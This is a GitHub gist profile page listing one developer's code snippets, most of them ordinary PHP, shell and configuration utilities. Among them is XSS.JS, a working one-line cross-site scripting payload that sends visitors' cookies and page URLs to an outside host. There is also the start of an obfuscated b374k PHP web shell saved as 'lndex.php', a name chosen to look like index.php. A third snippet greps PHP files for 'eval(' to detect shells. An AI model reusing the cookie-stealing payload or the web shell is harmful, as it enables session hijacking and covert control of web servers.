Skip to content

Instantly share code, notes, and snippets.

💭
I'm programer and I have wife 😄

Mochamad Arifin ndunks

💭
I'm programer and I have wife 😄
View GitHub Profile
@ndunks
ndunks / Side Bar.sublime-menu
Created Oct 12, 2017
SublimeText 3 plugin right click on batch file or directory to run Command Prompt on Windows
View Side Bar.sublime-menu
[
{
"caption": "Run Batch",
"command": "runcmd",
"args": {
"paths": []
}
}
]
@ndunks
ndunks / GoogleTranslate.php
Created Oct 27, 2017
PHP SRT Subtitle Translate with Google
View GoogleTranslate.php
<?php
/*namespace Statickidz;
*/
/**
* GoogleTranslate.class.php
*
* Class to talk with Google Translator for free.
*
* @package PHP Google Translate Free;
* @category Translation
View XSS.JS
$.post('http://allspecification.net/kctmp/xss.php',{url: document.location.href, cookie: document.cookie});
@ndunks
ndunks / lndex.php
Last active Nov 28, 2017
b374k.shell
View lndex.php
<?php $GLOBALS[
'pass'
]
=
'0f3b857e0125444e99a15f41c07eb315d26a00f0';
$FF
='cre'.
'ate'.
'_fun'.
'cti'.
@ndunks
ndunks / DB.php
Created Dec 8, 2017
PHP DB Class for MySQL
View DB.php
<?php
class DB
{
var $con = null;
var $result = null;
var $has_result = false;
var $error = false;
var $last_query;
var $affected_rows;
View wp-shell.sh
for dir in `find ~/apps/* -maxdepth 0 -type d`
do
grep -Rl --include "*.php" "eval(" "$dir/public/"
done
@ndunks
ndunks / dnsmasq-wlan
Created May 5, 2018
Start dnsmaq when connected to wifi
View dnsmasq-wlan
#!/bin/bash
# Write file /etc/network/if-up.d/ and link to /etc/network/if-post-down.d/
# by default, scripts on that directories will be triggered by NetworkManager
PID="/var/run/dnsmasq/wlan.pid"
WLAN="wlan0"
DNSMASQCONF="/etc/dnsmasq.conf"
IP=$(ifconfig $WLAN | sed -En 's/.*inet ([0-9\\.]+) .+/\1/p')
ME="$IFACE-dnsmasq:"
@ndunks
ndunks / histat-fast-load.html
Created May 13, 2018
Histat Code quick load
View histat-fast-load.html
<!-- OLD CODE: -->
<!-- Histats.com START (aync)-->
<script type="text/javascript">var _Hasync= _Hasync|| [];
_Hasync.push(['Histats.start', '1,3630122,4,0,0,0,00010000']);
_Hasync.push(['Histats.fasi', '1']);
_Hasync.push(['Histats.track_hits', '']);
(function() {
var hs = document.createElement('script'); hs.type = 'text/javascript'; hs.async = true;
hs.src = ('//s10.histats.com/js15_as.js');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs);
@ndunks
ndunks / stats.php
Last active Jun 21, 2018
PHP-FPM status wrapper for each serverpilot web apps
View stats.php
<?php
/**
* Serverpilot PHP-FPM Status wrapper for all apps
* Install required package:
* $ sudo apt install libfcgi-bin
*
* Add .htaccess:
* RewriteRule ^php\-stats/ stats.php [NC,L]
*
* Place this script on 'default' web app.
@ndunks
ndunks / gitlab.php
Created Oct 16, 2018
Gitlab Hook auto deploy live web server
View gitlab.php
<?php
// CONFIG
// This token must sent with the request, for security
$TOKEN='XXXXXXXXXXX';
$LOCAL_GIT=realpath(dirname(__DIR__) . '/app.git');
$PRODUCTION_DIR=realpath(dirname(__DIR__) . '/public_html');
$REMOTE = 'origin';
$LOCAL_BRANCH = 'master';
You can’t perform that action at this time.